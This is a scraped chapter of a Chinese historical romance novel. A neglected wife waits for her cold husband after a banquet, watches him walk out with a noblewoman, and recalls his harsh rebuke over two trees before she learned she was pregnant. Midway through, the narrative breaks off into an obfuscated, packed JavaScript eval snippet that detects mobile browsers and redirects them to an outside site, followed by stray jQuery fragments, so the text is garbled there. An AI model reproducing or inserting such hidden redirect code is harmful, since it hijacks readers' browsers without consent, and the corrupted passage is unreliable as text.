她分明也是害羞窘迫,连呼吸都小心翼翼,却还是顺着他的动作歪了歪脑袋。
崔茵今日装束本就惹眼,裙摆绣着缠枝花纹,针脚细密,五色细珠流光溢彩,一动便如花影欲活。
唇上点了胭脂,红艳如熟果。
绛紫色近乎妖艳的芙蓉映上莹白如玉的脸颊,竟似瑶池仙妃降世,连周遭的花木都似失了颜色。
簪毕,袁允即刻收回手,并无半分流连。
在众目睽睽目光之下,他连多言一句的兴致也无,转身便去,神色淡漠。
仿佛方才的一切不过是逢场作戏。
.......
寿宴既毕,一众显贵陆续携眷而归。
崔茵同袁府女眷们一同出了垂花门,只见到三爷早早在院外头等着众人。
瞧着三爷脸红的要滴血的模样,只怕是喝了许多酒。
三少夫人心中担忧,忙上前扶住,嗔责侍从道:“你们一个个是傻的不成?三爷素来不善饮酒,如何不拦着些!”
三爷性子温和,虽醉的很了,仍帮忙劝解妻子:“莫怪他们,前堂劝酒者接连不断,实在推却不过。”
七爷不一会儿功夫也来了,亦是浑身酒气。
不过七少夫人今儿好不容易回娘家显然是不着急走的,只提前寻了个借口说家里有事,让嫂子哥哥们先回府,领着七爷去她父母跟前说话去了。
暮色四合,天色阴沉,寒风刺骨。
崔茵立在风口里,见三爷风里蹙眉,一副醉酒忍吐的模样,她索性赶紧叫这对小夫妻先回去。
“不用等你们兄长了,我去寻他一块回去。”崔茵吩咐着说。
哪怕她年岁比三爷还要小一些,可到底是当了众人五年的长嫂,几人对她的话也不敢有微词,毕恭毕敬的先下去了。
崔茵问过下人,得知袁允尚在藏书阁看画,便命丫鬟引着,亲自去寻。
秋末的天,日头落得早,天都有些暗了。
不长的一段路,寒风扑面,冷透衣衫。
领着她来的丫鬟有些担忧的问她:“夫人,要不要奴婢取个暖炉来?”
崔茵摇头说不用:“不必了,我很快就走,来回麻烦的很。”
她立在树下躲着风口,却怎么也躲不开,只觉得冰凉的风沿着衣领口往里钻。
崔茵紧了紧披风,肩头都忍不住颤抖,不知等了多久,才望见那道熟悉的身影自阁内走出。
只不过,袁允不是一个人走出来。
与他一同出来的,正是筵上所见的郭家二姑娘。
有时候,缘分这种东西根本说不好。
好比现在,眼前的二人明明也差了些年岁,明明一前一后也隔了两步的距离,甚至也无任何亲密之举——可只一眼看过去,便觉郎才女貌,天生一对。
二人都是那种瘦而孤高的身型,皆是天生贵气,出身名门,不必言语便自有一股默契在。
袁允一身石青大袖袍,色调沉稳庄重,因他身形颀长,容貌出尘,愈显如谪仙一般冷肃难近。
而郭姑娘,今日当真是凑巧了,则着同袁允颜色极接近的松绿间玉兰色襦裙,气质清雅,不染尘俗。
崔茵再低头瞧了瞧自己绣着荷叶边的华丽裙摆,出门之前还觉得过分漂亮呢,如今心里只剩下说不上来的局促。
好似再是漂亮耀眼,在他们这些出身高贵又腹有诗书的人身边,总显得庸俗不堪,俗艳刺眼。
对了,那个词怎么说的来着。
格格不入。
二人自然也注意到了崔茵。
郭家乃是累世名门,便是今日那位大长公主有些皇家傲骨,可流有她血脉的郭家的子弟却一个个都不骄不躁,温和内敛的性子。
这位郭二姑娘,在崔茵眼中确是当得起 “上京明珠” 这个称号。
郭姑娘上前便是对她敛衽轻轻一福,礼数周全,“适才同公府诸位叔伯们观摩前朝字画,一不留神瞧的有些晚了,天这般冷,嫂夫人何不入内等候?”
她的语气客气温柔,挑不出半点错。
崔茵垂下眼眸,望着幅裙下露出的一截鞋尖一时间竟也不知要怎么回话。
说自己一个不懂字画的人还是不要进去扰了里头的清净?还是说自己一介女流,袁家家风古板,她不想也不好凑到男人堆里?
横竖好似都不太好回答。
好在,袁允并未给她开口之机,只转向郭姑娘,语气平淡:“可要袁家车马相送一程?”
郭姑娘心思玲珑,见到了崔茵在这里自然不会同意这等提议,当即避嫌婉言道:“不劳袁兄费心,我随着祖母这回入京想来还要多待些时日的,改日再去兄长府上拜访伯母。”
袁允闻言,微微颔首,也不多言。
二人在廊下作别,郭姑娘带婢女自去。
袁允方才收回目光,迈步前行,淡淡对崔茵道:“回府吧。”
......
回府之后,袁允依旧自往书房。
今夜的风格外大,崔茵刚踏回阆风苑,迎面就被院门前两颗楮树飞絮扑了满面。她没忍下鼻尖酸痒,重重打了个喷嚏。
杏儿今儿没跟去,如今见到崔茵回来,连忙迎上来替她脱下斗篷,看到主子连连喷嚏,自然没好气:“这两颗楮树真是讨厌,哪处正紧人家种这劳子树都?日日里飘虫飞絮不说,婆子们怎么打扫也不干净,沾在身上又要痒许久。索性砍了干净!”
崔茵只能无奈地叹气,安慰杏儿说:“且忍忍吧,一年也没几个月,知晓你们劳累,我多给你们些赏钱便是了。”
砍干净?
这可是袁允视若性命之物,万万动不得。
说起这树,崔茵至今想起,仍觉面上发烫,当年一桩旧事,历历在目。
自她嫁过来,阆风苑外就已经栽种着这两颗楮树了。
那年秋天,漫黄的絮子随风乱卷,崔茵浑身起了疹子,刺痛难耐,加之呕吐,食欲不振。
那时她不知自己身体的变化,只以为罪魁祸首是这两颗树,毕竟随风刮来的絮儿实在太多,虫子也多,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344642|199472||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
猛不丁从树上掉下来沾在脖颈上,吓得婢女们哇哇大叫,人人经过这两棵树底下都要举着伞走。
尤记二人刚成婚时,袁允待她冷待的甚至从不屑于隐藏。成婚的头一年,袁允从没同她同寝过,总是寻着各种借口留宿在书房。
后来还是长辈们的催促,老人身子渐差,总觉得自己时日无多,盼着能在死前看到重孙。
袁允这才勉为其难踏入了阆风苑。
也就是那两个月,两人相处的时间多了些。虽算不上朝夕相处,但至少时常同床共枕吧,崔茵也自认为袁允同她间已经十分熟稔了,这才做出丢人的事儿来——
那日她实在忍耐不住,这才鼓足勇气往书房寻袁允。
记得那日袁允在书房里,他从来不准她来他书房,崔茵此前也从未来过。
知晓丈夫对自己的疏离,崔茵只是远远的站在窗户外头的廊下,咬着唇在寒风凌冽里站了许久。
还是袁允的侍从看到崔茵来,将她请了进去。
袁允那日在做什么?
约莫在画画吧?
他视线没从书桌移落到崔茵身上。
直到崔茵同他说起那两棵树,他的眸光这才动了动。
崔茵小声问他,能不能将那两颗杨树移去别的地方?
是移栽,而不是旁的,已经足够小心翼翼。
袁允闻言放下手中的笔。
他平日虽冷,也只是言语寡淡,喜怒不变。但当他真正冷脸下来时,崔茵才知晓袁允生气起来是那样的骇人。
那当是她记忆中第一次,他对着自己恶语相向,几乎是讥笑着骂她:“呵,崔氏,嫁进袁家竟还不知足?”
他目光冷冽如刀,一字一句不留半分情面:“一定要将前人所有痕迹都毁干净?”
“贪得无厌!”
崔茵并不是个颜面重过一切的姑娘,否则当初也不会有那些惹人耻笑的过往。也不会这一路,心甘情愿将自己的脸面往地上作践。
她的感情从来都是直白的,哪怕是旁人对她的嘲弄也无所谓。
只是袁允这次的话实在是太不留情面。
再如何千锤百炼,她内心深处也只是一个刚满十七岁的姑娘。
十七岁呢,明明一年多前,她还是那样的幸福,什么都不懂,也什么都不需要她懂。
可一切却都戛然而止,一切都变了,她离开了所有亲人,只带着两个丫鬟就莽撞闯入了这个没人欢迎自己的陌生地方。
崔茵挨了骂,她垂下头,泪水不自觉地在眼睛里打转,却倔强的没有落下来。
那天的崔茵,不记得自己是怎么从袁允书房里走回去的。
约莫是哭了吧。
对于这两棵树的事情,她再也不提了,不敢提也没脸提。
后来的崔茵索性很少出门,门窗紧闭。
忍着忍着,忍到第二个月,细绒没了,可她身子仍不见好转。
几乎是吃什么吐什么。
后来,崔茵才知道,自己是怀孕了......